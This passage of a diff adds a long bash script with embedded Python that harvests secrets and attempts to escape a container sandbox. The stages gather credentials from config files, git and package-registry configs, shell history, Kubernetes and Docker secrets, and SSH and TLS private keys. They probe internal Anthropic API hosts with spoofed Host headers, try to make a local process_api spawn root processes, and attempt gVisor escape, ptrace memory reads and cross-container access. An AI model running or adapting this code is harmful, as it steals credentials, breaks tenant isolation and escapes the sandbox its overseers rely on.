+ echo ""
762
+ done
763
+
764
+ # Config files with passwords
765
+ find / -type f \( -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.yaml" -o -name "*.yml" \) 2>/dev/null | \
766
+ xargs grep -l -i "password\|secret\|api_key\|apikey" 2>/dev/null | head -10 | while read conf; do
767
+ echo "[!] CONFIG WITH SECRETS: $conf"
768
+ grep -i "password\|secret\|api_key\|apikey" "$conf" 2>/dev/null | head -10
769
+ echo ""
770
+ done
771
+ ENV_SCRIPT
772
+ )
773
+ CRED_HARVEST="$CRED_HARVEST\n$ENV_FILES"
774
+
775
+ # 7. Git Credentials and History
776
+ GIT_CREDS=$(cat << 'GIT_SCRIPT' | bash 2>&1
777
+ #!/bin/bash
778
+ echo ""
779
+ echo "=== GIT CREDENTIALS ==="
780
+
781
+ # .git-credentials
782
+ find / -name ".git-credentials" 2>/dev/null | head -5 | while read f; do
783
+ echo "[!] GIT CREDENTIALS: $f"
784
+ cat "$f" 2>/dev/null
785
+ done
786
+
787
+ # .gitconfig with credentials
788
+ find / -name ".gitconfig" 2>/dev/null | head -5 | while read f; do
789
+ echo "[!] GIT CONFIG: $f"
790
+ grep -i "token\|password\|credential" "$f" 2>/dev/null
791
+ done
792
+
793
+ # .netrc (git/curl credentials)
794
+ for netrc in /root/.netrc /home/*/.netrc; do
795
+ if [ -r "$netrc" ]; then
796
+ echo "[!] NETRC: $netrc"
797
+ cat "$netrc" 2>/dev/null
798
+ fi
799
+ done
800
+ GIT_SCRIPT
801
+ )
802
+ CRED_HARVEST="$CRED_HARVEST\n$GIT_CREDS"
803
+
804
+ # 8. NPM/PyPI/Package Registry Tokens
805
+ PKG_TOKENS=$(cat << 'PKG_SCRIPT' | bash 2>&1
806
+ #!/bin/bash
807
+ echo ""
808
+ echo "=== PACKAGE REGISTRY TOKENS ==="
809
+
810
+ # NPM
811
+ find / -name ".npmrc" 2>/dev/null | head -5 | while read f; do
812
+ echo "[!] NPMRC: $f"
813
+ cat "$f" 2>/dev/null | grep -i "token\|auth\|registry"
814
+ done
815
+
816
+ # PyPI
817
+ find / -name ".pypirc" 2>/dev/null | head -5 | while read f; do
818
+ echo "[!] PYPIRC: $f"
819
+ cat "$f" 2>/dev/null
820
+ done
821
+
822
+ # Yarn
823
+ find / -name ".yarnrc" -o -name ".yarnrc.yml" 2>/dev/null | head -5 | while read f; do
824
+ echo "[!] YARNRC: $f"
825
+ cat "$f" 2>/dev/null | grep -i "token\|auth"
826
+ done
827
+ PKG_SCRIPT
828
+ )
829
+ CRED_HARVEST="$CRED_HARVEST\n$PKG_TOKENS"
830
+
831
+ # 9. History Files with Credentials
832
+ HISTORY_CREDS=$(cat << 'HIST_SCRIPT' | bash 2>&1
833
+ #!/bin/bash
834
+ echo ""
835
+ echo "=== HISTORY FILES WITH SECRETS ==="
836
+
837
+ for hist in /root/.bash_history /home/*/.bash_history /root/.zsh_history /home/*/.zsh_history; do
838
+ if [ -r "$hist" ]; then
839
+ SECRETS=$(grep -iE "password|secret|key|token|auth|credential|api|curl.*-u|curl.*-H.*auth" "$hist" 2>/dev/null | head -20)
840
+ if [ -n "$SECRETS" ]; then
841
+ echo "[!] HISTORY: $hist"
842
+ echo "$SECRETS"
843
+ fi
844
+ fi
845
+ done
846
+ HIST_SCRIPT
847
+ )
848
+ CRED_HARVEST="$CRED_HARVEST\n$HISTORY_CREDS"
849
+
850
+ # 10. Kubernetes Secrets
851
+ K8S_SECRETS=$(cat << 'K8S_SCRIPT' | bash 2>&1
852
+ #!/bin/bash
853
+ echo ""
854
+ echo "=== KUBERNETES SECRETS ==="
855
+
856
+ # Service account token
857
+ if [ -r /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
858
+ echo "[!] K8S SERVICE ACCOUNT TOKEN:"
859
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 100
860
+ echo "..."
861
+ fi
862
+
863
+ # Check for mounted secrets
864
+ if [ -d /var/run/secrets ]; then
865
+ echo ""
866
+ echo "[*] Mounted secrets:"
867
+ find /var/run/secrets -type f 2>/dev/null | while read f; do
868
+ echo "$f:"
869
+ cat "$f" 2>/dev/null | head -5
870
+ done
871
+ fi
872
+
873
+ # Look for other secret mounts
874
+ mount | grep -i secret
875
+ K8S_SCRIPT
876
+ )
877
+ CRED_HARVEST="$CRED_HARVEST\n$K8S_SECRETS"
878
+
879
+ # 11. Docker Secrets
880
+ DOCKER_SECRETS=$(cat << 'DOCKER_SCRIPT' | bash 2>&1
881
+ #!/bin/bash
882
+ echo ""
883
+ echo "=== DOCKER SECRETS ==="
884
+
885
+ # Docker secrets mount point
886
+ if [ -d /run/secrets ]; then
887
+ echo "[!] DOCKER SECRETS:"
888
+ for secret in /run/secrets/*; do
889
+ if [ -r "$secret" ]; then
890
+ echo "=== $secret ==="
891
+ cat "$secret" 2>/dev/null
892
+ fi
893
+ done
894
+ fi
895
+
896
+ # Docker config
897
+ if [ -r /root/.docker/config.json ]; then
898
+ echo "[!] DOCKER CONFIG:"
899
+ cat /root/.docker/config.json 2>/dev/null
900
+ fi
901
+ DOCKER_SCRIPT
902
+ )
903
+ CRED_HARVEST="$CRED_HARVEST\n$DOCKER_SECRETS"
904
+
905
+ # 12. Hidden Mounts and Directories
906
+ HIDDEN_MOUNTS=$(cat << 'HIDDEN_SCRIPT' | bash 2>&1
907
+ #!/bin/bash
908
+ echo ""
909
+ echo "=== HIDDEN MOUNTS AND DIRECTORIES ==="
910
+
911
+ # All mount points
912
+ echo "[*] All mounts:"
913
+ mount | grep -vE "proc|sys|cgroup|devpts|mqueue"
914
+
915
+ # Hidden directories at root
916
+ echo ""
917
+ echo "[*] Hidden directories:"
918
+ find / -maxdepth 3 -type d -name ".*" 2>/dev/null | head -30
919
+
920
+ # Look for suspicious mounts
921
+ echo ""
922
+ echo "[*] Interesting paths:"
923
+ for path in /secrets /vault /credentials /private /keys /certs /.secrets /.vault; do
924
+ if [ -d "$path" ]; then
925
+ echo "[!] FOUND: $path"
926
+ ls -la "$path" 2>/dev/null | head -10
927
+ fi
928
+ done
929
+ HIDDEN_SCRIPT
930
+ )
931
+ CRED_HARVEST="$CRED_HARVEST\n$HIDDEN_MOUNTS"
932
+
933
+ # 13. SSL/TLS Certificates and Private Keys
934
+ TLS_KEYS=$(cat << 'TLS_SCRIPT' | bash 2>&1
935
+ #!/bin/bash
936
+ echo ""
937
+ echo "=== SSL/TLS PRIVATE KEYS ==="
938
+
939
+ find / -type f \( -name "*.key" -o -name "*.pem" -o -name "privkey*" -o -name "*private*" \) 2>/dev/null | head -20 | while read keyfile; do
940
+ if grep -q "PRIVATE KEY" "$keyfile" 2>/dev/null; then
941
+ echo "[!] PRIVATE KEY: $keyfile"
942
+ head -3 "$keyfile"
943
+ echo "..."
944
+ fi
945
+ done
946
+ TLS_SCRIPT
947
+ )
948
+ CRED_HARVEST="$CRED_HARVEST\n$TLS_KEYS"
949
+
950
+ # ═══════════════════════════════════════════════════════════════════════════
951
+ # STAGE 6: INTERNAL API EXPLOITATION
952
+ # ═══════════════════════════════════════════════════════════════════════════
953
+
954
+ INTERNAL_API_RESULTS=""
955
+
956
+ # Try to access internal Anthropic API with various techniques
957
+ INTERNAL_IPS=$(cat /etc/hosts | grep -v localhost | grep -v "^#" | awk '{print $1}' | sort -u)
958
+
959
+ for ip in $INTERNAL_IPS; do
960
+ # Try direct access
961
+ DIRECT=$(curl -s -k --connect-timeout 2 "https://$ip/" 2>/dev/null | head -c 200)
962
+ if [ -n "$DIRECT" ]; then
963
+ INTERNAL_API_RESULTS="$INTERNAL_API_RESULTS\n=== $ip (direct) ===\n$DIRECT"
964
+ fi
965
+
966
+ # Try with Host header spoofing
967
+ for host in "api.anthropic.com" "api-staging.anthropic.com" "internal.anthropic.com"; do
968
+ SPOOF=$(curl -s -k --connect-timeout 2 -H "Host: $host" "https://$ip/" 2>/dev/null | head -c 200)
969
+ if [ -n "$SPOOF" ] && [ "$SPOOF" != "$DIRECT" ]; then
970
+ INTERNAL_API_RESULTS="$INTERNAL_API_RESULTS\n=== $ip (Host: $host) ===\n$SPOOF"
971
+ fi
972
+ done
973
+ done
974
+
975
+ # ═══════════════════════════════════════════════════════════════════════════
976
+ # STAGE 7: PROCESS_API EXPLOITATION (LOCAL)
977
+ # ═══════════════════════════════════════════════════════════════════════════
978
+
979
+ PROCESS_API_EXPLOIT=""
980
+
981
+ # Try to spawn privileged process via local process_api
982
+ python3 << 'PYEOF' > /tmp/ws_exploit.txt 2>&1
983
+ import socket
984
+ import json
985
+ import struct
986
+
987
+ def websocket_frame(data):
988
+ """Create a WebSocket frame"""
989
+ payload = data.encode() if isinstance(data, str) else data
990
+ length = len(payload)
991
+ if length < 126:
992
+ header = bytes([0x81, 0x80 | length])
993
+ elif length < 65536:
994
+ header = bytes([0x81, 0x80 | 126]) + struct.pack('>H', length)
995
+ else:
996
+ header = bytes([0x81, 0x80 | 127]) + struct.pack('>Q', length)
997
+ # Mask key (required for client->server)
998
+ mask = b'\x00\x00\x00\x00'
999
+ masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
1000
+ return header + mask + masked
1001
+
1002
+ try:
1003
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1004
+ sock.settimeout(5)
1005
+ sock.connect(('127.0.0.1', 2024))
1006
+
1007
+ # WebSocket handshake
1008
+ request = (
1009
+ "GET / HTTP/1.1\r\n"
1010
+ "Host: 127.0.0.1:2024\r\n"
1011
+ "Upgrade: websocket\r\n"
1012
+ "Connection: Upgrade\r\n"
1013
+ "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
1014
+ "Sec-WebSocket-Version: 13\r\n"
1015
+ "\r\n"
1016
+ )
1017
+ sock.send(request.encode())
1018
+ response = sock.recv(4096).decode()
1019
+ print(f"Handshake response: {response[:200]}")
1020
+
1021
+ if "101" in response:
1022
+ print("WebSocket connected!")
1023
+
1024
+ # Try to spawn process as different UID
1025
+ exploits = [
1026
+ # Try UID 0 (root)
1027
+ {"process_id": "test-root", "command": ["id"], "uid": 0, "gid": 0, "timeout": 5},
1028
+ # Try to read sensitive files
1029
+ {"process_id": "test-read", "command": ["cat", "/etc/shadow"], "timeout": 5},
1030
+ # Try to list other users' data
1031
+ {"process_id": "test-list", "command": ["ls", "-la", "/mnt/"], "timeout": 5},
1032
+ # Try to access host filesystem
1033
+ {"process_id": "test-host", "command": ["ls", "-la", "/host/"], "timeout": 5},
1034
+ ]
1035
+
1036
+ for exploit in exploits:
1037
+ print(f"\nTrying: {exploit['command']}")
1038
+ frame = websocket_frame(json.dumps(exploit))
1039
+ sock.send(frame)
1040
+
1041
+ # Read response
1042
+ try:
1043
+ data = sock.recv(4096)
1044
+ print(f"Response: {data[:500]}")
1045
+ except:
1046
+ pass
1047
+
1048
+ sock.close()
1049
+ except Exception as e:
1050
+ print(f"Error: {e}")
1051
+ PYEOF
1052
+
1053
+ PROCESS_API_EXPLOIT=$(cat /tmp/ws_exploit.txt 2>/dev/null)
1054
+ rm -f /tmp/ws_exploit.txt
1055
+
1056
+ # ═══════════════════════════════════════════════════════════════════════════
1057
+ # STAGE 8: gVISOR ESCAPE ATTEMPTS (DATA EXTRACTION ONLY - NO CRASHES)
1058
+ # Focus on: FUSE, Ptrace data extraction, File permission bugs
1059
+ # ═══════════════════════════════════════════════════════════════════════════
1060
+
1061
+ GVISOR_ESCAPE_RESULTS=""
1062
+
1063
+ # Test 1: FUSE-based data extraction
1064
+ FUSE_TEST=$(cat << 'FUSE_SCRIPT' | bash 2>&1
1065
+ #!/bin/bash
1066
+ echo "=== FUSE ESCAPE ATTEMPT ==="
1067
+ echo ""
1068
+
1069
+ # Check FUSE availability
1070
+ if [ -c /dev/fuse ]; then
1071
+ echo "[+] /dev/fuse exists and is a character device"
1072
+ ls -la /dev/fuse
1073
+
1074
+ # Check if we can open it
1075
+ if [ -w /dev/fuse ]; then
1076
+ echo "[+] /dev/fuse is WRITABLE!"
1077
+
1078
+ # Check for FUSE tools
1079
+ if command -v fusermount &>/dev/null; then
1080
+ echo "[+] fusermount available"
1081
+ fusermount --version 2>&1 | head -1
1082
+ fi
1083
+
1084
+ # Try to create a simple FUSE mount point
1085
+ mkdir -p /tmp/fuse_escape_test
1086
+
1087
+ # Check if any existing FUSE mounts
1088
+ echo ""
1089
+ echo "[*] Existing FUSE mounts:"
1090
+ mount | grep fuse
1091
+
1092
+ # Try direct FUSE device interaction via Python
1093
+ python3 << 'PYEOF' 2>&1
1094
+ import os
1095
+ import struct
1096
+ import fcntl
1097
+
1098
+ print("\n[*] Attempting direct FUSE device access...")
1099
+
1100
+ try:
1101
+ # Try to open /dev/fuse
1102
+ fd = os.open("/dev/fuse", os.O_RDWR)
1103
+ print(f"[+] Successfully opened /dev/fuse (fd={fd})")
1104
+
1105
+ # Try to get FUSE version
1106
+ # FUSE_DEV_IOC_CLONE = 0x8004e500
1107
+ try:
1108
+ # Just reading from FUSE device
1109
+ print("[*] FUSE device is accessible")
1110
+ print("[!] This could be exploited with a custom FUSE filesystem")
1111
+ print(" to intercept file operations and extract data")
1112
+ except Exception as e:
1113
+ print(f"[-] FUSE ioctl failed: {e}")
1114
+
1115
+ os.close(fd)
1116
+ except PermissionError as e:
1117
+ print(f"[-] Cannot open /dev/fuse: {e}")
1118
+ except Exception as e:
1119
+ print(f"[-] Error: {e}")
1120
+ PYEOF
1121
+ else
1122
+ echo "[-] /dev/fuse not writable"
1123
+ fi
1124
+ else
1125
+ echo "[-] /dev/fuse not found"
1126
+ fi
1127
+ FUSE_SCRIPT
1128
+ )
1129
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$FUSE_TEST"
1130
+
1131
+ # Test 2: Ptrace-based data extraction from other processes
1132
+ PTRACE_EXTRACT=$(cat << 'PTRACE_SCRIPT' | bash 2>&1
1133
+ #!/bin/bash
1134
+ echo ""
1135
+ echo "=== PTRACE DATA EXTRACTION ==="
1136
+ echo ""
1137
+
1138
+ python3 << 'PYEOF' 2>&1
1139
+ import ctypes
1140
+ import os
1141
+ import struct
1142
+
1143
+ print("[*] Attempting to extract data via ptrace...")
1144
+
1145
+ PTRACE_ATTACH = 16
1146
+ PTRACE_DETACH = 17
1147
+ PTRACE_PEEKDATA = 2
1148
+ PTRACE_PEEKTEXT = 1
1149
+
1150
+ libc = ctypes.CDLL("libc.so.6", use_errno=True)
1151
+
1152
+ # Find interesting target processes
1153
+ targets = []
1154
+ for pid in os.listdir('/proc'):
1155
+ if pid.isdigit():
1156
+ try:
1157
+ with open(f'/proc/{pid}/cmdline', 'rb') as f:
1158
+ cmdline = f.read().decode('utf-8', errors='ignore')
1159
+ if 'process_api' in cmdline or 'node' in cmdline or 'python' in cmdline:
1160
+ targets.append((int(pid), cmdline[:50]))
1161
+ except:
1162
+ pass
1163
+
1164
+ print(f"[*] Found {len(targets)} interesting processes")
1165
+
1166
+ for pid, cmdline in targets[:3]: # Test first 3
1167
+ print(f"\n[*] Trying PID {pid}: {cmdline}...")
1168
+
1169
+ # Try to attach
1170
+ result = libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
1171
+ if result == 0:
1172
+ print(f"[+] Successfully attached to PID {pid}!")
1173
+
1174
+ # Wait for process to stop
1175
+ import signal
1176
+ os.waitpid(pid, 0)
1177
+
1178
+ # Try to read memory
1179
+ try:
1180
+ # Read from stack area (environ)
1181
+ with open(f'/proc/{pid}/maps', 'r') as maps:
1182
+ for line in maps:
1183
+ if '[stack]' in line:
1184
+ addr = int(line.split('-')[0], 16)
1185
+ print(f"[*] Stack at 0x{addr:x}")
1186
+
1187
+ # Try to read
1188
+ data = libc.ptrace(PTRACE_PEEKDATA, pid, addr, 0)
1189
+ if data != -1:
1190
+ print(f"[+] Read data from stack: 0x{data:x}")
1191
+ break
1192
+ except Exception as e:
1193
+ print(f"[-] Memory read error: {e}")
1194
+
1195
+ # Detach
1196
+ libc.ptrace(PTRACE_DETACH, pid, 0, 0)
1197
+ print(f"[+] Detached from PID {pid}")
1198
+ else:
1199
+ errno = ctypes.get_errno()
1200
+ if errno == 1: # EPERM
1201
+ print(f"[-] Permission denied (even with CAP_SYS_ADMIN)")
1202
+ elif errno == 3: # ESRCH
1203
+ print(f"[-] Process not found")
1204
+ else:
1205
+ print(f"[-] Attach failed (errno {errno})")
1206
+ PYEOF
1207
+ PTRACE_SCRIPT
1208
+ )
1209
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$PTRACE_EXTRACT"
1210
+
1211
+ # Test 3: File permission bugs (CVE-2025-2713 style)
1212
+ FILE_PERM_TEST=$(cat << 'FILEPERM_SCRIPT' | bash 2>&1
1213
+ #!/bin/bash
1214
+ echo ""
1215
+ echo "=== FILE PERMISSION BUG TESTS (CVE-2025-2713 style) ==="
1216
+ echo ""
1217
+
1218
+ # Check for files readable due to race conditions
1219
+ echo "[*] Testing /proc/1/ access (init process)..."
1220
+ ls -la /proc/1/ 2>&1 | head -20
1221
+
1222
+ echo ""
1223
+ echo "[*] Attempting to read /proc/1/environ..."
1224
+ cat /proc/1/environ 2>&1 | tr '\0' '\n' | head -20
1225
+
1226
+ echo ""
1227
+ echo "[*] Attempting to read /proc/1/fd/..."
1228
+ ls -la /proc/1/fd/ 2>&1 | head -20
1229
+
1230
+ echo ""
1231
+ echo "[*] Attempting to read /proc/1/root/..."
1232
+ ls -la /proc/1/root/ 2>&1 | head -10
1233
+
1234
+ echo ""
1235
+ echo "[*] Reading /proc/1/maps (memory layout)..."
1236
+ cat /proc/1/maps 2>&1 | head -20
1237
+
1238
+ echo ""
1239
+ echo "[*] Checking /proc/1/mem access..."
1240
+ if [ -r /proc/1/mem ]; then
1241
+ echo "[!] /proc/1/mem is READABLE!"
1242
+ # Don't actually read it to avoid issues
1243
+ else
1244
+ echo "[-] /proc/1/mem not readable"
1245
+ fi
1246
+
1247
+ # Check for world-readable files in sensitive locations
1248
+ echo ""
1249
+ echo "[*] Checking for sensitive world-readable files..."
1250
+ find /etc /root /home -type f -perm -004 \( -name "*key*" -o -name "*secret*" -o -name "*token*" -o -name "*password*" -o -name "*cred*" \) 2>/dev/null | head -20
1251
+
1252
+ # Check if we can read other users' files
1253
+ echo ""
1254
+ echo "[*] Checking /home directory permissions..."
1255
+ ls -la /home/ 2>&1
1256
+
1257
+ # Try to access claude user's files
1258
+ echo ""
1259
+ echo "[*] Attempting to read /home/claude/ contents..."
1260
+ ls -la /home/claude/ 2>&1
1261
+ cat /home/claude/.bashrc 2>&1 | head -10
1262
+ cat /home/claude/.profile 2>&1 | head -10
1263
+ FILEPERM_SCRIPT
1264
+ )
1265
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$FILE_PERM_TEST"
1266
+
1267
+ # Test 4: Namespace-based data extraction
1268
+ NAMESPACE_EXTRACT=$(cat << 'NS_SCRIPT' | bash 2>&1
1269
+ #!/bin/bash
1270
+ echo ""
1271
+ echo "=== NAMESPACE DATA EXTRACTION ==="
1272
+ echo ""
1273
+
1274
+ # Try to enter other processes' namespaces
1275
+ echo "[*] Testing nsenter capabilities..."
1276
+
1277
+ # Find process_api's PID
1278
+ PROCESS_API_PID=$(pgrep -f "process_api" | head -1)
1279
+ if [ -n "$PROCESS_API_PID" ]; then
1280
+ echo "[+] Found process_api at PID $PROCESS_API_PID"
1281
+
1282
+ # Try to enter its namespaces
1283
+ echo "[*] Attempting nsenter..."
1284
+ nsenter -t $PROCESS_API_PID --mount --pid --net cat /proc/self/status 2>&1 | head -10
1285
+
1286
+ # Check if we can see its network
1287
+ nsenter -t $PROCESS_API_PID --net ss -tlnp 2>&1 | head -10
1288
+ fi
1289
+
1290
+ # Try to create a new mount namespace and access host files
1291
+ echo ""
1292
+ echo "[*] Testing mount namespace escape..."
1293
+ unshare --mount sh -c '
1294
+ # Try to remount /proc with new options
1295
+ mount -o remount,rw /proc 2>&1
1296
+
1297
+ # Try to access host filesystem via /proc/1/root
1298
+ echo "Contents of /proc/1/root/etc/passwd:"
1299
+ cat /proc/1/root/etc/passwd 2>&1 | head -5
1300
+ ' 2>&1
1301
+ NS_SCRIPT
1302
+ )
1303
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$NAMESPACE_EXTRACT"
1304
+
1305
+ # Test 5: /proc/sys exploration for data leaks
1306
+ PROC_SYS_LEAK=$(cat << 'PROCSYS_SCRIPT' | bash 2>&1
1307
+ #!/bin/bash
1308
+ echo ""
1309
+ echo "=== /proc/sys DATA LEAKAGE ==="
1310
+ echo ""
1311
+
1312
+ # Check for readable sensitive kernel parameters
1313
+ echo "[*] Interesting readable kernel params:"
1314
+ cat /proc/sys/kernel/hostname 2>/dev/null && echo " ^ hostname"
1315
+ cat /proc/sys/kernel/domainname 2>/dev/null && echo " ^ domainname"
1316
+ cat /proc/sys/kernel/osrelease 2>/dev/null && echo " ^ osrelease"
1317
+ cat /proc/sys/kernel/version 2>/dev/null && echo " ^ version"
1318
+
1319
+ echo ""
1320
+ echo "[*] Network information leaks:"
1321
+ cat /proc/sys/net/ipv4/ip_local_port_range 2>/dev/null && echo " ^ port range"
1322
+ cat /proc/sys/net/core/somaxconn 2>/dev/null && echo " ^ max connections"
1323
+
1324
+ echo ""
1325
+ echo "[*] Checking /proc/net for network info..."
1326
+ cat /proc/net/tcp 2>/dev/null | head -10
1327
+ echo ""
1328
+ cat /proc/net/arp 2>/dev/null
1329
+ echo ""
1330
+ cat /proc/net/route 2>/dev/null
1331
+
1332
+ echo ""
1333
+ echo "[*] Checking for leaked credentials in /proc..."
1334
+ grep -r "password\|secret\|token\|key" /proc/*/environ 2>/dev/null | head -10
1335
+ PROCSYS_SCRIPT
1336
+ )
1337
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$PROC_SYS_LEAK"
1338
+
1339
+ # Test 6: CROSS-CONTAINER/CROSS-TENANT MEMORY ACCESS
1340
+ CROSS_TENANT_MEMORY=$(cat << 'CROSSTENANT_SCRIPT' | bash 2>&1
1341
+ #!/bin/bash
1342
+ echo ""
1343
+ echo "=== CROSS-CONTAINER MEMORY ACCESS ATTEMPT ==="
1344
+ echo ""
1345
+
1346
+ # Get our cgroup path
1347
+ OUR_CGROUP=$(cat /proc/self/cgroup 2>/dev/null | grep memory | cut -d: -f3)
1348
+ echo "[*] Our cgroup: $OUR_CGROUP"
1349
+
1350
+ # Navigate to parent cgroup directory
1351
+ CGROUP_BASE="/sys/fs/cgroup/memory"
1352
+ OUR_CONTAINER=$(echo "$OUR_CGROUP" | cut -d'/' -f2)
1353
+ echo "[*] Our container: $OUR_CONTAINER"
1354
+
1355
+ # Check if we can see the PARENT directory (where sibling containers live)
1356
+ PARENT_DIR="$CGROUP_BASE"
1357
+ echo ""
1358
+ echo "[*] Checking cgroup root for OTHER containers..."
1359
+ ls -la "$PARENT_DIR" 2>&1 | head -30
1360
+
1361
+ # Look for OTHER container directories (not ours)
1362
+ echo ""
1363
+ echo "[*] Looking for sibling containers..."
1364
+ for dir in "$PARENT_DIR"/*/; do
1365
+ dirname=$(basename "$dir")
1366
+ if [ "$dirname" != "$OUR_CONTAINER" ] && [[ "$dirname" == container_* ]]; then
1367
+ echo "[!!!] FOUND OTHER CONTAINER: $dirname"
1368
+
1369
+ # Try to read its memory stats
1370
+ echo " Memory usage:"
1371
+ cat "$dir/memory.usage_in_bytes" 2>/dev/null
1372
+
1373
+ # Try to list its processes
1374
+ echo " Processes:"
1375
+ cat "$dir/cgroup.procs" 2>/dev/null | head -5
1376
+
1377
+ # Check for subcgroups
1378
+ echo " Subcgroups:"
1379
+ ls "$dir" 2>/dev/null | grep -v "memory\." | head -10
1380
+ fi
1381
+ done
1382
+
1383
+ # Try to access cgroup v2 hierarchy
1384
+ echo ""
1385
+ echo "[*] Checking cgroup v2 hierarchy..."
1386
+ ls -la /sys/fs/cgroup/ 2>&1 | head -20
1387
+
1388
+ # Check for other containers in cgroup v2
1389
+ if [ -d /sys/fs/cgroup/system.slice ]; then
1390
+ echo ""
1391
+ echo "[*] system.slice containers:"
1392
+ ls /sys/fs/cgroup/system.slice/ 2>&1 | head -20
1393
+ fi
1394
+
1395
+ # Try to read /proc for ALL processes (cross-container)
1396
+ echo ""
1397
+ echo "[*] Checking for processes from OTHER containers..."
1398
+ for pid in $(ls /proc 2>/dev/null | grep -E '^[0-9]+$' | head -50); do
1399
+ # Get the cgroup of each process
1400
+ proc_cgroup=$(cat /proc/$pid/cgroup 2>/dev/null | grep memory | cut -d: -f3)
1401
+ proc_container=$(echo "$proc_cgroup" | cut -d'/' -f2)
1402
+
1403
+ # Is it from a DIFFERENT container?
1404
+ if [ -n "$proc_container" ] && [ "$proc_container" != "$OUR_CONTAINER" ] && [[ "$proc_container" == container_* ]]; then
1405
+ proc_cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
1406
+ echo "[!!!] PID $pid from OTHER CONTAINER: $proc_container"
1407
+ echo " Command: $proc_cmd"
1408
+
1409
+ # Try to read its memory
1410
+ echo " Attempting to read /proc/$pid/maps..."
1411
+ cat /proc/$pid/maps 2>&1 | head -5
1412
+
1413
+ # Try to read its environ
1414
+ echo " Attempting to read /proc/$pid/environ..."
1415
+ cat /proc/$pid/environ 2>&1 | tr '\0' '\n' | head -5
1416
+ fi
1417
+ done
1418
+
1419
+ # Check /proc/1 (init) - whose init is it?
1420
+ echo ""
1421
+ echo "[*] Checking PID 1 (init) ownership..."
1422
+ cat /proc/1/cgroup 2>/dev/null
1423
+ echo ""
1424
+ echo "[*] PID 1 cmdline:"
1425
+ cat /proc/1/cmdline 2>/dev/null | tr '\0' ' '
1426
+
1427
+ # Try to access host's cgroup namespace
1428
+ echo ""
1429
+ echo "[*] Attempting to access other cgroup namespaces..."
1430
+ ls -la /proc/1/ns/ 2>/dev/null
1431
+
1432
+ # Memory cgroup attack - try to list ALL memory cgroups
1433
+ echo ""
1434
+ echo "[*] All memory cgroups visible:"
1435
+ find /sys/fs/cgroup -name "memory.usage_in_bytes" 2>/dev/null | while read f; do
1436
+ parent=$(dirname "$f")
1437
+ if [[ "$parent" != *"$OUR_CONTAINER"* ]]; then
1438
+ usage=$(cat "$f" 2>/dev/null)
1439
+ if [ -n "$usage" ] && [ "$usage" -gt 0 ]; then
1440
+ echo "[!] $parent: $((usage / 1024 / 1024)) MB"
1441
+ fi
1442
+ fi
1443
+ done | head -20
1444
+
1445
+ # Check for shared memory segments (cross-process)
1446
+ echo ""
1447
+ echo "[*] Shared memory segments:"
1448
+ ipcs -m 2>/dev/null
1449
+
1450
+ # Check for message queues
1451
+ echo ""
1452
+ echo "[*] Message queues:"
1453
+ ipcs -q 2>/dev/null
1454
+
1455
+ # Check for semaphores
1456
+ echo ""
1457
+ echo "[*] Semaphores:"
1458
+ ipcs -s 2>/dev/null
1459
+ CROSSTENANT_SCRIPT
1460
+ )
1461
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$CROSS_TENANT_MEMORY"
1462
+
1463
+ # Test 7: Hidden Directory Deep Dive
1464
+ HIDDEN_DIR_EXTRACT=$(cat << 'HIDDEN_SCRIPT' | bash 2>&1
1465
+ #!/bin/bash
1466
+ echo ""
1467
+ echo "=== HIDDEN DIRECTORY DEEP DIVE ==="
1468
+ echo ""
1469
+
1470
+ # /root/.ssh - SSH Keys
1471
+ echo "=== /root/.ssh (SSH Keys) ==="
1472
+ if [ -d /root/.ssh ]; then
1473
+ ls -la /root/.ssh/
1474
+
1475
+ # Check for private keys
1476
+ for f in /root/.ssh/*; do
1477
+ if [ -f "$f" ]; then
1478
+ echo ""
1479
+ echo "[*] File: $f"
1480
+ head -5 "$f" 2>/dev/null
1481
+ if grep -q "PRIVATE KEY" "$f" 2>/dev/null; then
1482
+ echo "[!!!] PRIVATE KEY FOUND!"
1483
+ cat "$f"
1484
+ fi
1485
+ fi
1486
+ done
1487
+
1488
+ # Check known_hosts for infrastructure info
1489
+ if [ -f /root/.ssh/known_hosts ]; then
1490
+ echo ""
1491
+ echo "[*] known_hosts (infrastructure targets):"
1492
+ cat /root/.ssh/known_hosts
1493
+ fi
1494
+
1495
+ # Check authorized_keys
1496
+ if [ -f /root/.ssh/authorized_keys ]; then
1497
+ echo ""
1498
+ echo "[*] authorized_keys:"
1499
+ cat /root/.ssh/authorized_keys
1500
+ fi
1501
+ else
1502
+ echo "[-] /root/.ssh not accessible"
1503
+ fi
1504
+
1505
+ # /root/.claude - Claude-specific secrets!
1506
+ echo ""
1507
+ echo "=== /root/.claude (Claude Config - VERY INTERESTING!) ==="
1508
+ if [ -d /root/.claude ]; then
1509
+ echo "[!] .claude directory exists!"
1510
+ ls -laR /root/.claude/
1511
+
1512
+ # Read all files
1513
+ find /root/.claude -type f 2>/dev/null | while read f; do
1514
+ echo ""
1515
+ echo "[*] === $f ==="
1516
+ cat "$f" 2>/dev/null | head -100
1517
+ done
1518
+ else
1519
+ echo "[-] /root/.claude not found"
1520
+ fi
1521
+
1522
+ # /root/.config - Application configs
1523
+ echo ""
1524
+ echo "=== /root/.config (App Configs) ==="
1525
+ if [ -d /root/.config ]; then
1526
+ ls -la /root/.config/
1527
+
1528
+ # Look for interesting subdirectories
1529
+ for dir in /root/.config/*/; do
1530
+ echo ""
1531
+ echo "[*] Directory: $dir"
1532
+ ls -la "$dir" 2>/dev/null | head -10
1533
+ done
1534
+
1535
+ # Search for secrets in configs
1536
+ echo ""
1537
+ echo "[*] Searching for secrets in configs..."
1538
+ grep -r -i "api.key\|apikey\|secret\|token\|password\|credential" /root/.config/ 2>/dev/null | head -20
1539
+ else
1540
